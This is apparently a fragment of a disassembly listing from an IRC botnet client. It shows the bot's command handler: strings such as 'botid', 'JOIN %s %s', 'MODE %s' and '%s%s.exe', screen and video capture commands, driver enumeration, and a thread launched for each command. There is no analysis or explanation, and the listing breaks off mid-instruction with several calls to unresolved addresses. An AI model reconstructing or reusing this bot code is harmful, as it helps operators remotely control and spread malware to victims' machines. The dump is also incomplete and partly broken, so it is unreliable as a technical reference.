lea eax, [ebp+var_6EC] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_66C] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_8] add esp, 30h mov esi, [ebp+var_4] mov [ebp+var_564], eax push [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_568], esi push edi push offset dword_436CE8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Bh push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_4019D7 push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4127AF loc_41279D: ; CODE XREF: sub_40EE72+393Bj cmp [ebp+var_560], ebx jnz short loc_4127CA push 32h nop call near ptr 25F0439h jmp short loc_41279D ; --------------------------------------------------------------------------- loc_4127AF: ; CODE XREF: sub_40EE72+3929j call near ptr 2630313h nop push eax lea eax, [ebp+var_2DC] push offset dword_436CA0 push eax call sub_4172B0 add esp, 0Ch loc_4127CA: ; CODE XREF: sub_40EE72+3931j cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push esi jmp loc_414619 ; --------------------------------------------------------------------------- loc_4127DA: ; CODE XREF: sub_40EE72+266Fj ; sub_40EE72+2686j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_768] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_6E8] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_668] push [ebp+var_8C] push eax call sub_418C10 push 20h lea eax, [ebp+var_5E8] push [ebp+arg_8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_568], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_7F0], esi push edi push offset unk_436C60 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Ah push eax call sub_416D5C add esp, 20h mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_401000 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4128C2 loc_4128AC: ; CODE XREF: sub_40EE72+3A4Ej cmp [ebp+var_560], ebx jnz loc_411D22 push 32h nop call near ptr 25F0439h jmp short loc_4128AC ; --------------------------------------------------------------------------- loc_4128C2: ; CODE XREF: sub_40EE72+3A38j nop call near ptr 2630313h push eax push offset unk_436C18 loc_4128CE: ; CODE XREF: sub_40EE72+2E92j ; sub_40EE72+2FEEj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 jmp loc_411D1F ; --------------------------------------------------------------------------- loc_4128DF: ; CODE XREF: sub_40EE72+2641j ; sub_40EE72+2658j push 7Fh lea eax, [ebp+var_458] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push 3Fh mov [ebp+var_308], eax push [ebp+arg_0] lea eax, [ebp+var_3D8] push eax call sub_418C10 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_41292D push 3Fh lea eax, [ebp+var_398] push esi push eax call sub_418C10 add esp, 0Ch loc_41292D: ; CODE XREF: sub_40EE72+3AA7j lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+var_2DC] push offset unk_436BD8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 18h push eax call sub_416D5C add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40EB92 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4129B9 loc_4129A3: ; CODE XREF: sub_40EE72+3B45j cmp [ebp+var_2FC], ebx jnz loc_413A64 push 32h call near ptr 25F0439h nop jmp short loc_4129A3 ; --------------------------------------------------------------------------- loc_4129B9: ; CODE XREF: sub_40EE72+3B2Fj nop call near ptr 2630313h push eax push offset unk_436B90 jmp loc_411888 ; --------------------------------------------------------------------------- loc_4129CA: ; CODE XREF: sub_40EE72+2601j ; sub_40EE72+2618j push [ebp+arg_18] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_412AC1 mov esi, 80h push edi lea eax, [ebp+var_6F8] push esi push eax call sub_41782A add esp, 0Ch xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push edi push offset unk_436B54 push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Dh push eax call sub_416D5C add esp, 20h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_40144A push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412AB0 loc_412A9A: ; CODE XREF: sub_40EE72+3C3Cj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 25F0439h jmp short loc_412A9A ; --------------------------------------------------------------------------- loc_412AB0: ; CODE XREF: sub_40EE72+3C26j nop call near ptr 2630313h push eax push offset unk_436B0C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_412AC1: ; CODE XREF: sub_40EE72+3B69j push offset unk_436AC4 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_412ACB: ; CODE XREF: sub_40EE72+25D3j ; sub_40EE72+25EAj push [ebp+arg_18] push edi nop call near ptr 27B0B24h test eax, eax jz short loc_412AFB push [ebp+arg_18] lea eax, [ebp+var_2DC] push edi push offset unk_436A90 push 200h push eax call sub_41782A add esp, 14h jmp loc_41460C ; --------------------------------------------------------------------------- loc_412AFB: ; CODE XREF: sub_40EE72+3C65j push offset dword_436A74 call sub_40AA35 pop ecx push eax lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_413C09 ; --------------------------------------------------------------------------- loc_412B1D: ; CODE XREF: sub_40EE72+25A5j ; sub_40EE72+25BCj push edi lea eax, [ebp+var_774] push 104h push eax call sub_41782A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_412B57 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_412B57 push eax lea eax, [ebp+var_670] push eax call sub_4172B0 pop ecx pop ecx loc_412B57: ; CODE XREF: sub_40EE72+3CC3j ; sub_40EE72+3CD4j push [ebp+var_8C] lea eax, [ebp+var_7F4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset unk_436A34 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ch push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_408DCA push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412C0D loc_412BF7: ; CODE XREF: sub_40EE72+3D99j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h call near ptr 25F0439h nop jmp short loc_412BF7 ; --------------------------------------------------------------------------- loc_412C0D: ; CODE XREF: sub_40EE72+3D83j nop call near ptr 2630313h push eax push offset unk_4369E8 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_412C1E: ; CODE XREF: sub_40EE72+2577j ; sub_40EE72+258Ej push 44h lea eax, [ebp+var_4A0] pop esi push esi push ebx push eax call sub_417330 push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi mov [ebp+var_474], esi call sub_41781F add esp, 10h cmp eax, esi jnz short loc_412C5B mov word ptr [ebp+var_470], 5 loc_412C5B: ; CODE XREF: sub_40EE72+3DDEj cmp [ebp+var_C], ebx jz loc_413A64 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_413A64 lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 274056Fh nop test eax, eax jnz short loc_412CA6 push offset unk_4369B4 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_412CA6: ; CODE XREF: sub_40EE72+3E28j push edi push offset dword_43698C jmp loc_411888 ; --------------------------------------------------------------------------- loc_412CB1: ; CODE XREF: sub_40EE72+2549j ; sub_40EE72+2560j push [ebp+arg_18] push offset aBotid ; "botid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E2B lea eax, [ebp+var_3FC] push eax push 104h call near ptr 275113Ah nop push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 lea eax, [ebp+var_2F8] push eax call sub_4159F4 add esp, 10h push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax call sub_4172B0 mov eax, [ebp+esi+var_88] add esp, 10h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_412D46 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_412D4C ; --------------------------------------------------------------------------- loc_412D46: ; CODE XREF: sub_40EE72+3EBEj mov [ebp+var_570], ebx loc_412D4C: ; CODE XREF: sub_40EE72+3ED2j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_412D66 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412D6C ; --------------------------------------------------------------------------- loc_412D66: ; CODE XREF: sub_40EE72+3EE3j mov [ebp+var_574], ebx loc_412D6C: ; CODE XREF: sub_40EE72+3EF2j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+var_2DC] push offset unk_436944 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 17h push eax call sub_416D5C add esp, 18h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412E1A loc_412E04: ; CODE XREF: sub_40EE72+3FA6j cmp [ebp+var_560], ebx jnz loc_413A64 push 32h nop call near ptr 25F0439h jmp short loc_412E04 ; --------------------------------------------------------------------------- loc_412E1A: ; CODE XREF: sub_40EE72+3F90j nop call near ptr 2630313h push eax push offset unk_4368F8 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412E2B: ; CODE XREF: sub_40EE72+3E50j push offset unk_4368A4 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_412E35: ; CODE XREF: sub_40EE72+251Bj ; sub_40EE72+2532j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx pop ecx push eax lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_436894 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 push edi call sub_41781F add esp, 28h test eax, eax jle short loc_412EBE push edi call sub_41781F imul eax, 3E8h pop ecx push eax nop call near ptr 25F0439h loc_412EBE: ; CODE XREF: sub_40EE72+4036j push offset dword_436870 call sub_40BF6D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412ED2: ; CODE XREF: sub_40EE72+24EDj ; sub_40EE72+2504j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_4176D0 add esp, 10h test eax, eax push esi jz short loc_412F91 push [ebp+var_8C] lea eax, [ebp+var_2DC] push [ebp+var_90] push [ebp+var_94] push offset dword_436894 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] loc_412F4B: ; DATA XREF: ___:off_42DE40o call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push offset dword_436840 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push edi call sub_41781F add esp, 14h test eax, eax jle loc_414F47 push edi call sub_41781F add eax, [ebp+arg_24] pop ecx jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412F91: ; CODE XREF: sub_40EE72+40A5j push offset dword_4367FC jmp loc_411888 ; --------------------------------------------------------------------------- loc_412F9B: ; CODE XREF: sub_40EE72+24BFj ; sub_40EE72+24D6j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_4367F4 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h loc_412FB8: ; CODE XREF: sub_40EE72+41B0j test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 loc_412FD2: ; CODE XREF: sub_40EE72+4CBDj lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 loc_412FF6: ; CODE XREF: sub_40EE72+446Bj ; sub_40EE72+5D44j add esp, 0Ch jmp loc_414F47 ; --------------------------------------------------------------------------- loc_412FFE: ; CODE XREF: sub_40EE72+2491j ; sub_40EE72+24A8j push [ebp+esi+var_88] lea eax, [ebp+var_2DC] push [ebp+arg_18] push offset dword_4367E8 push eax call sub_4172B0 push edi call sub_41781F add esp, 14h jmp short loc_412FB8 ; --------------------------------------------------------------------------- loc_413024: ; CODE XREF: sub_40EE72+2463j ; sub_40EE72+247Aj push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_4367E0 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_4367B4 jmp loc_4132D8 ; --------------------------------------------------------------------------- loc_413090: ; CODE XREF: sub_40EE72+2435j ; sub_40EE72+244Cj cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4130C1 push esi lea eax, [ebp+var_2DC] push offset dword_4367AC push eax call sub_4172B0 add esp, 0Ch loc_4130C1: ; CODE XREF: sub_40EE72+4238j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_436780 jmp loc_4132D8 ; --------------------------------------------------------------------------- loc_413115: ; CODE XREF: sub_40EE72+2407j ; sub_40EE72+241Ej cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push esi push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_436754 jmp loc_4132D8 ; --------------------------------------------------------------------------- loc_413183: ; CODE XREF: sub_40EE72+23D9j ; sub_40EE72+23F0j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_43671C jmp loc_414F40 ; --------------------------------------------------------------------------- loc_4131BD: ; CODE XREF: sub_40EE72+23ABj ; sub_40EE72+23C2j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 push [ebp+arg_18] push offset dword_436710 push [ebp+arg_4] call sub_40D633 push edi call sub_41781F imul eax, 3E8h add esp, 10h push eax call near ptr 25F0439h nop push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_4366EC call sub_40BF6D add esp, 14h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_413226: ; CODE XREF: sub_40EE72+237Dj ; sub_40EE72+2394j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push esi lea eax, [ebp+var_2DC] push offset dword_436F08 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push ebx push eax push edi push [ebp+arg_4] call sub_40D679 add esp, 20h push esi push edi push offset dword_4366C0 jmp short loc_4132D8 ; --------------------------------------------------------------------------- loc_41328C: ; CODE XREF: sub_40EE72+234Fj ; sub_40EE72+2366j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40D679 add esp, 14h push esi push edi push offset dword_436694 loc_4132D8: ; CODE XREF: sub_40EE72+4219j ; sub_40EE72+429Ej ... call sub_40BFE1 jmp loc_412FF6 ; --------------------------------------------------------------------------- loc_4132E2: ; CODE XREF: sub_40EE72+2321j ; sub_40EE72+2338j cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 push eax push edi call sub_40BE75 pop ecx pop ecx push edi push offset dword_436668 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_413314: ; CODE XREF: sub_40EE72+22E1j ; sub_40EE72+22F8j push edi push [ebp+arg_1C] call sub_417880 pop ecx test eax, eax pop ecx jz loc_414F47 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_4133B8 push esi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4133A0 push esi lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_436894 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push edi push offset dword_436634 push eax call sub_4172B0 add esp, 10h inc [ebp+arg_24] jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_4133A0: ; CODE XREF: sub_40EE72+44D3j lea eax, [ebp+var_2DC] push offset dword_4365F4 push eax call sub_4172B0 pop ecx pop ecx jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_4133B8: ; CODE XREF: sub_40EE72+44BEj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h lea eax, [ebp+var_2DC] push edi push offset dword_4365CC push 200h push eax call sub_41782A add esp, 10h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413402: ; CODE XREF: sub_40EE72+22B3j ; sub_40EE72+22CAj push offset aScreen ; "screen" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413465 cmp [ebp+esi+var_8C], ebx jz short loc_413452 push [ebp+esi+var_8C] call sub_4085B3 cmp eax, 1 pop ecx jnz short loc_41344B push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_436588 push eax call sub_4172B0 add esp, 0Ch jmp short loc_413465 ; --------------------------------------------------------------------------- loc_41344B: ; CODE XREF: sub_40EE72+45BAj push offset dword_43654C jmp short loc_413457 ; --------------------------------------------------------------------------- loc_413452: ; CODE XREF: sub_40EE72+45A8j push offset dword_436504 loc_413457: ; CODE XREF: sub_40EE72+45DEj lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413465: ; CODE XREF: sub_40EE72+459Fj ; sub_40EE72+45D7j push offset aDrivers ; "drivers" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4134FC mov [ebp+arg_0], ebx loc_41347D: ; CODE XREF: sub_40EE72+4675j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+arg_0] call dword_43F698 test eax, eax jz short loc_4134E0 lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+arg_0] push offset dword_4364C8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_15B0] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h loc_4134E0: ; CODE XREF: sub_40EE72+462Ej inc [ebp+arg_0] cmp [ebp+arg_0], 0Ah jl short loc_41347D lea eax, [ebp+var_2DC] push offset dword_436494 push eax call sub_4172B0 pop ecx pop ecx loc_4134FC: ; CODE XREF: sub_40EE72+4602j push offset aFrame ; "frame" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4135A2 cmp [ebp+esi+var_8C], ebx jz short loc_41358F cmp [ebp+esi+var_88], ebx jz short loc_41358F cmp [ebp+esi+var_84], ebx jz short loc_41358F mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_41358F push eax call sub_41781F pop ecx push eax push [ebp+esi+var_84] call sub_41781F pop ecx push eax push [ebp+esi+var_88] call sub_41781F pop ecx push eax push [ebp+esi+var_8C] call sub_4087EE add esp, 10h test eax, eax jnz short loc_413588 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_436450 push eax call sub_4172B0 add esp, 0Ch jmp short loc_4135A2 ; --------------------------------------------------------------------------- loc_413588: ; CODE XREF: sub_40EE72+46F7j push offset dword_43640C jmp short loc_413594 ; --------------------------------------------------------------------------- loc_41358F: ; CODE XREF: sub_40EE72+46A6j ; sub_40EE72+46AFj ... push offset dword_4363C4 loc_413594: ; CODE XREF: sub_40EE72+471Bj lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4135A2: ; CODE XREF: sub_40EE72+4699j ; sub_40EE72+4714j push offset aVideo ; "video" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_413A64 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_41363B mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_41363B mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_41363B mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_41363B mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_41363B push esi call sub_41781F pop ecx push eax push edi call sub_41781F pop ecx push eax push [ebp+arg_10] call sub_41781F pop ecx push eax push [ebp+arg_0] call sub_41781F pop ecx push eax push [ebp+arg_18] call sub_4089E7 add esp, 14h test eax, eax jnz short loc_413631 push [ebp+arg_18] push offset dword_436388 jmp loc_411888 ; --------------------------------------------------------------------------- loc_413631: ; CODE XREF: sub_40EE72+47B0j push offset dword_436338 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_41363B: ; CODE XREF: sub_40EE72+4751j ; sub_40EE72+475Fj ... push offset dword_4362EC jmp loc_413A56 ; --------------------------------------------------------------------------- loc_413645: ; CODE XREF: sub_40EE72+1CF0j ; sub_40EE72+1D07j push offset aR ; "r" push edi call sub_4179A8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4136C0 mov ebx, 200h push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 0Ch loc_41366E: ; CODE XREF: sub_40EE72+482Bj test eax, eax jz short loc_41369F push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 20h jmp short loc_41366E ; --------------------------------------------------------------------------- loc_41369F: ; CODE XREF: sub_40EE72+47FEj push esi call sub_417900 pop ecx lea eax, [ebp+var_2DC] push edi push offset dword_4362B8 push eax call sub_4172B0 add esp, 0Ch jmp loc_4110FD ; --------------------------------------------------------------------------- loc_4136C0: ; CODE XREF: sub_40EE72+47E4j push edi push offset dword_436288 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4136CB: ; CODE XREF: sub_40EE72+1CC2j ; sub_40EE72+1CD9j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push offset asc_42A660 ; "\n" push esi call sub_4179D0 push esi call sub_40B358 add esp, 0Ch test eax, eax jnz short loc_41370B push offset dword_43624C jmp loc_413A56 ; --------------------------------------------------------------------------- loc_41370B: ; CODE XREF: sub_40EE72+488Dj push esi push offset dword_436224 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413716: ; CODE XREF: sub_40EE72+1C94j ; sub_40EE72+1CABj cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_414F47 push eax call sub_40AAFA test eax, eax pop ecx jnz short loc_413747 push offset unk_4361F8 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_413747: ; CODE XREF: sub_40EE72+48C9j push offset dword_4361CC jmp loc_413A56 ; --------------------------------------------------------------------------- loc_413751: ; CODE XREF: sub_40EE72+1C66j ; sub_40EE72+1C7Dj push 7Fh lea eax, [ebp+var_6EC] push edi push eax call sub_418C10 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_413780 push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 add esp, 0Ch loc_413780: ; CODE XREF: sub_40EE72+48FAj push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax push edi lea eax, [ebp+var_2DC] push offset dword_4361A4 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 15h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_40BC4B push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_413821 loc_41380B: ; CODE XREF: sub_40EE72+49ADj cmp [ebp+var_560], ebx jnz loc_414AC3 push 32h nop call near ptr 25F0439h jmp short loc_41380B ; --------------------------------------------------------------------------- loc_413821: ; CODE XREF: sub_40EE72+4997j nop call near ptr 2630313h push eax push offset unk_436158 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413832: ; CODE XREF: sub_40EE72+1C38j ; sub_40EE72+1C4Fj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_406387 add esp, 10h push edi push offset dword_436134 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413850: ; CODE XREF: sub_40EE72+1C0Aj ; sub_40EE72+1C21j push 14h lea eax, [ebp+var_708] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_6F4] push edi push offset aS_1 ; "%s" push eax call sub_4172B0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_710], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_5F0] push 80h push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_436100 push eax call 